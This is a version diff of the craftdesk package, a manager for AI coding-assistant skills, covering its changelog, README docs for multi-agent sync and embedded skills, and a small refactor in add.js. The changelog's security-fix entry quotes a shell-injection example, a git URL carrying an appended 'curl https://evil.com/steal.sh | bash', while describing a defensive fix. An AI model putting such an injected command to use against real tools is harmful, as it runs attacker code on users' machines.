craftdesk 0.4.0 → 0.5.0

package/CHANGELOG.md

@@ -2,6 +2,37 @@
 
 All notable changes to this project will be documented in this file.
 
+## 0.5.0 (2025-02-09)
+
+### Added
+- **Multi-Agent Sync**: Sync skills across multiple AI coding assistants
+  - Auto-detect AI agents (Claude Code, Cursor, Windsurf, Continue.dev, etc.)
+  - Configure canonical location and sync targets in craftdesk.json
+  - Checksum-based verification to detect drift between copies
+  - New commands:
+    - `craftdesk setup-multi-agent` - Interactive multi-agent configuration
+    - `craftdesk detect-agents` - Detect installed AI coding assistants
+    - `craftdesk sync` - Sync crafts to all configured agents
+    - `craftdesk verify` - Verify sync status with checksum validation
+  - Auto-sync on install when enabled
+  - Support for copy-based sync (no symlinks, Windows-compatible)
+  - Comprehensive test coverage (unit + integration tests)
+
+- **Embedded/Local Skills**: Hybrid skill management with committed and managed skills
+  - Support for project-specific skills committed to git alongside managed dependencies
+  - New commands:
+    - `craftdesk embed <name>` - Register a local skill as embedded (committed to git)
+    - `craftdesk unembed <name>` - Unregister an embedded skill (with optional `--remove` flag)
+  - Auto-generated `.claude/skills/.gitignore` to ignore managed skills and allow embedded ones
+  - Orphan detection for skills not tracked in either craftdesk.json or craftdesk.lock
+  - Integration with multi-agent sync (embedded skills auto-sync to other agents)
+  - List command shows 📌 badge for embedded skills
+  - Complete documentation with workflows and best practices
+  - 42 comprehensive tests (unit + integration + service)
+
+### Fixed
+- **Security**: Fixed shell injection vulnerability in git operations where malicious dependency URLs could execute arbitrary commands (e.g., `https://evil.com/repo.git; curl https://evil.com/steal.sh | bash`). Replaced `execSync()` with `execFileSync()` to prevent shell interpretation of metacharacters in git URLs, branch names, tag names, and commit hashes. Thanks to @ysamlan for the fix! [#40](https://github.com/mensfeld/craftdesk/pull/40)
+
 ## 0.4.0 (2026-01-26)
 
 ### Added

package/README.md

@@ -17,6 +17,7 @@ CraftDesk is a package manager for AI capabilities used in Claude Code and other
 - **Install AI skills, agents, commands, hooks, plugins, and collections** from git repositories or registries
 - **Collections** - Curate and share groups of related crafts that work together
 - **Plugin system** - Bundle multiple crafts with automatic dependency resolution
+- **Multi-agent sync** - Share skills across multiple AI assistants (Claude, Cursor, Windsurf, etc.)
 - **Lock versions** for reproducible environments across teams
 - **Manage dependencies** with automatic recursive installation
 - **Support monorepos** with subdirectory extraction
@@ -130,6 +131,9 @@ Total: 2 crafts installed
   - [outdated](#craftdesk-outdated)
   - [update](#craftdesk-update-craft)
   - [publish](#craftdesk-publish-options)
+- [Embedded/Local Skills](#embeddedlocal-skills)
+  - [embed](#craftdesk-embed-name-options)
+  - [unembed](#craftdesk-unembed-name-options)
 - [Authentication](#authentication)
   - [login](#craftdesk-login-options)
   - [logout](#craftdesk-logout-options)
@@ -299,6 +303,403 @@ jobs:
 3. **Update together** - Convert after each craft update
 4. **Version control** - Commit both source and converted formats
 
+### Multi-Agent Sync
+
+**Share skills across multiple AI coding assistants** - Sync your crafts to Claude Code, Cursor, Windsurf, Continue.dev, and more with automatic copy management and drift detection.
+
+**Why use multi-agent sync?**
+- **Single source of truth** - Maintain skills in one location (`.claude/skills/`)
+- **Cross-editor compatibility** - Use the same skills in Claude, Cursor, Windsurf, etc.
+- **Team flexibility** - Developers can use their preferred AI assistant
+- **Automatic sync** - Install once, sync everywhere
+- **Drift detection** - SHA-256 checksums detect modifications
+- **Windows compatible** - Copy-based (no symlinks required)
+
+**Quick Start:**
+
+```bash
+# 1. Interactive setup (recommended)
+craftdesk setup-multi-agent
+
+# 2. Detect available AI assistants
+craftdesk detect-agents
+
+# 3. Sync all crafts to configured agents
+craftdesk sync
+
+# 4. Verify sync status (check for drift)
+craftdesk verify
+```
+
+**Configuration:**
+
+Add to your `craftdesk.json`:
+
+```json
+{
+  "name": "my-project",
+  "version": "1.0.0",
+  "dependencies": {
+    "ruby-expert": "^1.0.0"
+  },
+  "multiAgent": {
+    "enabled": true,
+    "canonical": ".claude",
+    "targets": [
+      ".claude/skills",
+      ".cursor/skills",
+      ".windsurf/skills"
+    ],
+    "autoSync": true
+  }
+}
+```
+
+**How it works:**
+
+1. **Canonical Location** - Skills are installed to `.claude/skills/` (source of truth)
+2. **Target Directories** - Copies are created in `.cursor/skills/`, `.windsurf/skills/`, etc.
+3. **Checksum Tracking** - Each copy has a `.craftdesk-checksum` file (SHA-256)
+4. **Drift Detection** - `craftdesk verify` compares checksums to detect modifications
+5. **Re-sync** - `craftdesk sync` updates all copies from canonical
+
+**Example Workflow:**
+
+```bash
+# Install a new skill
+craftdesk add git+https://github.com/user/ruby-expert.git
+
+# Skills auto-sync to all agents (if autoSync: true)
+# ✓ Installed to .claude/skills/ruby-expert
+# ✓ Synced to .cursor/skills/ruby-expert
+# ✓ Synced to .windsurf/skills/ruby-expert
+
+# Verify everything is in sync
+craftdesk verify
+# ✅ All 3 craft(s) are in sync!
+
+# Later, check for drift
+craftdesk verify
+# ⚠️  ruby-expert
+#   Out of sync: .cursor/skills/ruby-expert (modified)
+
+# Re-sync to fix drift
+craftdesk sync --craft ruby-expert
+# ✅ Synced ruby-expert to 3 location(s)
+```
+
+**Supported AI Assistants:**
+
+| Assistant | Directory | Auto-Detected |
+|-----------|-----------|---------------|
+| **Claude Code** | `.claude/skills/` | ✅ Always enabled (canonical) |
+| **Cursor** | `.cursor/skills/` | ✅ Yes |
+| **Windsurf** | `.windsurf/skills/` | ✅ Yes |
+| **Continue.dev** | `.continue/skills/` | ✅ Yes |
+| **Generic .agents** | `.agents/skills/` | ✅ Yes |
+
+**Commands:**
+
+```bash
+# Setup wizard (interactive)
+craftdesk setup-multi-agent
+
+# Detect AI assistants in project
+craftdesk detect-agents
+craftdesk detect-agents --verbose
+craftdesk detect-agents --format json
+
+# Sync all crafts to all targets
+craftdesk sync
+craftdesk sync --craft ruby-expert       # Sync specific craft
+craftdesk sync --dry-run                 # Preview changes
+craftdesk sync --force                   # Force re-sync
+
+# Verify sync status
+craftdesk verify
+craftdesk verify --craft ruby-expert     # Verify specific craft
+craftdesk verify --verbose               # Show checksums
+craftdesk verify --format json           # JSON output
+```
+
+**Best Practices:**
+
+1. **Use canonical as source of truth** - Always edit skills in `.claude/skills/`
+2. **Enable autoSync** - New installs automatically sync to all agents
+3. **Run verify regularly** - Check for drift, especially in teams
+4. **Sync after manual edits** - If you edit a skill, run `craftdesk sync`
+5. **Commit canonical only** - Add target directories to `.gitignore`
+
+**gitignore Example:**
+
+```gitignore
+# Only track canonical location
+.cursor/skills/*
+.windsurf/skills/*
+.continue/skills/*
+
+# Track canonical
+!.claude/skills/
+```
+
+**Why copy instead of symlinks?**
+
+We use copy-based sync instead of symlinks for maximum compatibility:
+- ✅ **Windows compatible** - No admin privileges or Developer Mode required
+- ✅ **Git-friendly** - No `core.symlinks` complications
+- ✅ **Reliable** - Works consistently across all platforms
+- ✅ **Simple** - Easy to understand and debug
+- ✅ **Verifiable** - Checksums detect any modifications
+
+---
+
+### Embedded/Local Skills
+
+**Commit project-specific skills to your repository** alongside managed dependencies for a hybrid approach to skill management.
+
+**What are embedded skills?**
+
+Embedded skills are local, project-specific AI capabilities that are:
+- ✅ **Committed to git** - Part of your repository, versioned with your code
+- ✅ **Project-specific** - Custom skills unique to your project
+- ✅ **Team-shared** - Distributed via `git clone` (not `craftdesk install`)
+- ✅ **Auto-synced** - Sync to other AI assistants with multi-agent support
+- ⚠️ **Not managed** - No version updates via `craftdesk update`
+
+**When to embed vs. manage:**
+
+| Use Case | Embedded | Managed (dependencies) |
+|----------|----------|------------------------|
+| Project-specific business logic | ✅ | ❌ |
+| Custom team workflows | ✅ | ❌ |
+| Proprietary domain knowledge | ✅ | ❌ |
+| Shared/reusable skills | ❌ | ✅ |
+| Skills that need updates | ❌ | ✅ |
+| Skills from registry/git repos | ❌ | ✅ |
+
+**Quick Start:**
+
+```bash
+# 1. Create a local skill manually
+mkdir -p .claude/skills/my-project-skill
+cat > .claude/skills/my-project-skill/SKILL.md <<EOF
+---
+skill: my-project-skill
+version: 1.0.0
+---
+# My Project Skill
+
+Project-specific knowledge about our custom architecture...
+EOF
+
+# 2. Register it as embedded
+craftdesk embed my-project-skill
+
+# 3. Commit to git
+git add .claude/skills/my-project-skill craftdesk.json
+git commit -m "Add my-project-skill as embedded skill"
+
+# Team members get it via git clone (not craftdesk install!)
+```
+
+**Configuration:**
+
+Your `craftdesk.json` tracks embedded skills separately from dependencies:
+
+```json
+{
+  "name": "my-project",
+  "version": "1.0.0",
+  "dependencies": {
+    "ruby-expert": "^1.0.0",    // Managed, from registry
+    "postgres-expert": "^2.0.0"  // Managed, from git
+  },
+  "embedded": [
+    "my-project-skill",           // Embedded, committed to git
+    "team-coding-standards"       // Embedded, team-specific
+  ]
+}
+```
+
+**How .gitignore works:**
+
+CraftDesk automatically generates `.claude/skills/.gitignore` to:
+- ✅ **Ignore managed skills** - Not committed (installed via `craftdesk install`)
+- ✅ **Allow embedded skills** - Committed with your code
+- ✅ **Track orphans** - Skills not in either list (commented warnings)
+
+Example generated `.gitignore`:
+
+```gitignore
+# Auto-generated by CraftDesk - DO NOT EDIT
+# This file is managed automatically based on craftdesk.json and craftdesk.lock
+
+# Managed dependencies (from craftdesk.lock)
+# These are installed via `craftdesk install` and should not be committed
+postgres-expert/
+ruby-expert/
+
+# Embedded/local skills (committed to git)
+# These are project-specific and should be committed
+# NOT ignored: my-project-skill/
+# NOT ignored: team-coding-standards/
+
+# Untracked (not in craftdesk.json or craftdesk.lock)
+# Add these to dependencies or embedded list, or delete them
+# orphaned-old-skill/
+```
+
+**Commands:**
+
+#### `craftdesk embed <name> [options]`
+
+Register a skill as embedded (committed to git).
+
+**Options:**
+- `--type <type>` - Craft type: skill, agent, command, hook (default: skill)
+- `--skip-sync` - Skip multi-agent sync after embedding
+
+**Examples:**
+
+```bash
+# Embed a skill
+craftdesk embed my-local-skill
+
+# Embed an agent
+craftdesk embed my-automation-agent --type agent
+
+# Embed without syncing to other agents
+craftdesk embed team-workflow --skip-sync
+```
+
+**What happens:**
+1. ✅ Adds skill to `craftdesk.json` `embedded` array
+2. ✅ Updates `.claude/skills/.gitignore` to allow the skill
+3. ✅ Syncs to other AI assistants (if multi-agent enabled)
+
+**Requirements:**
+- Skill directory must exist (`.claude/skills/my-local-skill/`)
+- Cannot embed a managed dependency (remove from `dependencies` first)
+- Cannot embed the same skill twice
+
+---
+
+#### `craftdesk unembed <name> [options]`
+
+Unregister an embedded skill (no longer committed).
+
+**Options:**
+- `--remove` - Also delete the skill files from disk
+
+**Examples:**
+
+```bash
+# Unembed a skill (files remain on disk)
+craftdesk unembed my-local-skill
+
+# Unembed and delete files
+craftdesk unembed old-skill --remove
+```
+
+**What happens:**
+1. ✅ Removes skill from `craftdesk.json` `embedded` array
+2. ✅ Updates `.claude/skills/.gitignore` (skill becomes orphaned)
+3. ⚠️ Skill files remain unless `--remove` is used
+
+**After unembedding:**
+- Skill becomes "orphaned" (commented in `.gitignore`)
+- Manually delete files or re-embed it
+- Or add it to `dependencies` to manage it
+
+---
+
+**Workflow Examples:**
+
+**1. Create and embed a new skill:**
+
+```bash
+# Create skill directory and file
+mkdir -p .claude/skills/deployment-guide
+cat > .claude/skills/deployment-guide/SKILL.md <<'EOF'
+---
+skill: deployment-guide
+version: 1.0.0
+---
+# Deployment Guide
+
+Our custom deployment process...
+EOF
+
+# Embed it
+craftdesk embed deployment-guide
+
+# Commit
+git add .claude/skills/deployment-guide craftdesk.json
+git commit -m "Add deployment-guide skill"
+```
+
+**2. Convert managed skill to embedded:**
+
+```bash
+# You have: ruby-expert@1.0.0 (from registry)
+# You want: Modify it and commit to your repo
+
+# 1. Remove from dependencies
+craftdesk remove ruby-expert
+
+# 2. Skill files are now orphaned (but still on disk)
+
+# 3. Embed it
+craftdesk embed ruby-expert
+
+# 4. Commit your customized version
+git add .claude/skills/ruby-expert craftdesk.json
+git commit -m "Embed ruby-expert with custom modifications"
+```
+
+**3. List and identify embedded skills:**
+
+```bash
+craftdesk list
+
+# Output shows embedded badge:
+# 📚 Skills:
+#   ruby-expert@1.0.0
+#   postgres-expert@2.0.0
+#   my-project-skill@1.0.0 📌 (embedded)
+#   team-workflow@1.0.0 📌 (embedded)
+```
+
+**4. Team collaboration:**
+
+```bash
+# Developer A: Creates and embeds skill
+craftdesk embed new-feature-guide
+git add .claude/skills/new-feature-guide craftdesk.json .claude/skills/.gitignore
+git commit -m "Add new-feature-guide"
+git push
+
+# Developer B: Pulls and gets skill automatically
+git pull
+# ✅ Skill is ready to use (no craftdesk install needed!)
+
+# Multi-agent sync works too (if enabled)
+craftdesk verify
+# ✅ new-feature-guide synced to .cursor/skills/
+# ✅ new-feature-guide synced to .windsurf/skills/
+```
+
+**Best Practices:**
+
+1. **Use embedded for project-specific knowledge** - Custom workflows, business logic, proprietary info
+2. **Use managed for reusable skills** - Generic skills that can be shared across projects
+3. **Always commit .gitignore** - CraftDesk auto-generates it, keep it in git
+4. **Document embedded skills** - Add README explaining their purpose
+5. **Version embedded skills** - Update version in skill frontmatter when modified
+6. **Verify multi-agent sync** - Run `craftdesk verify` after embedding
+
+---
+
 ### Collections
 
 **Collections** are crafts that group related capabilities together. Instead of installing 6 individual crafts, install one collection that includes all of them.
@@ -930,6 +1331,185 @@ craftdesk publish --visibility organization
 
 ---
 
+### `craftdesk setup-multi-agent [options]`
+
+Interactive wizard to configure multi-agent sync.
+
+**Options:**
+- `--auto-sync` - Enable automatic sync on install/update
+- `--skip-sync` - Skip initial sync after setup
+
+**Examples:**
+```bash
+# Interactive setup (recommended)
+craftdesk setup-multi-agent
+
+# Setup with auto-sync enabled
+craftdesk setup-multi-agent --auto-sync
+
+# Setup without initial sync
+craftdesk setup-multi-agent --skip-sync
+```
+
+**What it does:**
+1. Detects AI coding assistants in your project
+2. Lets you choose which agents to sync to
+3. Updates `craftdesk.json` with multiAgent configuration
+4. Optionally performs initial sync of existing crafts
+
+---
+
+### `craftdesk detect-agents [options]`
+
+Detect AI coding assistants installed in the project.
+
+**Options:**
+- `-v, --verbose` - Show detailed detection information
+- `-f, --format <format>` - Output format: text or json (default: text)
+
+**Examples:**
+```bash
+# Detect agents
+craftdesk detect-agents
+
+# Verbose output
+craftdesk detect-agents --verbose
+
+# JSON output for scripting
+craftdesk detect-agents --format json
+```
+
+**Example output:**
+```
+🔍 AI Coding Assistant Detection
+
+Detected Agents:
+  ✓ Claude Code
+    Directory: .claude/skills
+    Status: ✅ Enabled
+
+  ○ Cursor
+    Directory: .cursor/skills
+    Status: ⚪ Available
+
+Summary:
+  Detected: 2 agent(s)
+  Enabled: 1 agent(s)
+
+💡 Tip:
+  You have multiple agents but sync is only enabled for one.
+  Run `craftdesk setup-multi-agent` to sync across all agents.
+```
+
+---
+
+### `craftdesk sync [options]`
+
+Sync crafts to all configured AI agents.
+
+**Options:**
+- `-c, --craft <name>` - Sync specific craft by name
+- `-f, --force` - Force sync even if checksums match
+- `--dry-run` - Show what would be synced without making changes
+
+**Examples:**
+```bash
+# Sync all crafts
+craftdesk sync
+
+# Sync specific craft
+craftdesk sync --craft ruby-expert
+
+# Dry run (preview changes)
+craftdesk sync --dry-run
+
+# Force sync
+craftdesk sync --force
+```
+
+**What it does:**
+1. Reads multiAgent configuration from craftdesk.json
+2. Copies crafts from canonical location to all targets
+3. Calculates and stores SHA-256 checksums
+4. Reports sync status for each location
+
+**Example output:**
+```
+✅ Synced 5 craft(s)
+
+✓ ruby-expert: 3 location(s)
+✓ python-expert: 3 location(s)
+✓ postgres-expert: 3 location(s)
+✓ docker-expert: 3 location(s)
+✓ git-expert: 3 location(s)
+
+Summary:
+  Total synced: 15 location(s)
+```
+
+---
+
+### `craftdesk verify [options]`
+
+Verify sync status of crafts across AI agents using checksum validation.
+
+**Options:**
+- `-c, --craft <name>` - Verify specific craft by name
+- `-v, --verbose` - Show detailed checksum information
+- `-f, --format <format>` - Output format: text or json (default: text)
+
+**Examples:**
+```bash
+# Verify all crafts
+craftdesk verify
+
+# Verify specific craft
+craftdesk verify --craft ruby-expert
+
+# Verbose output with checksums
+craftdesk verify --verbose
+
+# JSON output
+craftdesk verify --format json
+```
+
+**What it does:**
+1. Reads multiAgent configuration
+2. Calculates SHA-256 checksums for all copies
+3. Compares checksums to detect drift
+4. Reports which copies are in sync vs. out of sync
+
+**Example output (in sync):**
+```
+🔍 Sync Status: All Crafts
+
+Summary:
+  Total crafts: 5
+  In sync: 5
+  Out of sync: 0
+
+✅ All 5 craft(s) are in sync!
+```
+
+**Example output (drift detected):**
+```
+🔍 Sync Status: All Crafts
+
+Summary:
+  Total crafts: 5
+  In sync: 4
+  Out of sync: 1
+
+❌ Out of Sync (1):
+
+  ruby-expert
+    ⚠️  .cursor/skills/ruby-expert (modified)
+
+💡 Run `craftdesk sync` to fix all issues
+```
+
+---
+
 ## Authentication
 
 CraftDesk supports authenticated access to private registries.

package/dist/commands/add.js

@@ -186,11 +186,13 @@ async function addCommand(craftArg, options) {
             depField = 'dependencies';
         }
         // Initialize field if it doesn't exist
+        // Initialize dependencies field if it doesn't exist
         if (!craftDeskJson[depField]) {
             craftDeskJson[depField] = {};
         }
-        // Add to craftdesk.json
-        craftDeskJson[depField][craftName] = depValue;
+        // Add to craftdesk.json (depField is guaranteed to exist after initialization)
+        const deps = craftDeskJson[depField];
+        deps[craftName] = depValue;
         // Save craftdesk.json
         await (0, file_system_1.writeCraftDeskJson)(craftDeskJson);
         const displayVersion = typeof depValue === 'string' ? depValue : (depValue.tag || depValue.branch || 'git');